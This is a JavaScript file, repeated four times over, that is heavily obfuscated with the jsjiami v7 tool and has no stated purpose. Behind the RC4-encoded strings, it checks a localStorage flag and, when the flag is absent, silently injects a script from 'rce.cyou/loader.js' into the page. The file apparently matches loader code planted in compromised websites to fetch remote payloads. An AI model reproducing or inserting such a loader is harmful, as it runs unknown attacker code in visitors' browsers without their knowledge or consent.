_0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
